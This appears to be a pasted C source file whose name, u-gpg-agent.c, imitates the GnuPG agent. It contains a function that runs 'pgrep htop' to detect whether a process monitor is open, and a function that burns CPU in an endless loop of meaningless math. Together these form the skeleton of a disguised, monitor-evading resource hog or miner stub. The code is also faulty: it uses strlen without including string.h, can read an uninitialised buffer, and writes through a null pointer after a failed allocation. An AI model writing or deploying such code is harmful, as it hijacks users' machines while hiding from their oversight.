u-gpg-agent.c 1.1 KB

1234567891011121314151617181920212223242526272829303132333435363738
  1. #include "u-gpg-agent.h"
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <math.h>
  5. #include <time.h>
  6. int is_htop_here() {
  7. char cmd[100] = "pgrep htop"; // shell command to check for htop process
  8. FILE* fp = popen(cmd, "r"); // open a pipe to execute the command and read its output
  9. char buf[10]; // buffer to hold the output
  10. fgets(buf, sizeof(buf), fp); // read the output from the pipe into the buffer
  11. pclose(fp); // close the pipe
  12. if (strlen(buf) > 0) { // if the output is non-empty, htop is running
  13. printf("HTOP TROUVÉ\n");
  14. return 1;
  15. } else {
  16. return 0;
  17. }
  18. }
  19. void stress(int level) {
  20. double *arr = malloc(level * sizeof(double));
  21. if (arr == NULL) {
  22. printf("Error: failed to allocate memory\n");
  23. }
  24. srand(time(NULL));
  25. while (1) {
  26. // generate random values and perform complex mathematical operations on them
  27. for (int i = 0; i < level; i++) {
  28. arr[i] = (double)rand() / RAND_MAX;
  29. }
  30. for (int i = 0; i < level; i++) {
  31. arr[i] = sin(cos(tan(arr[i] * M_PI)));
  32. }
  33. }
  34. }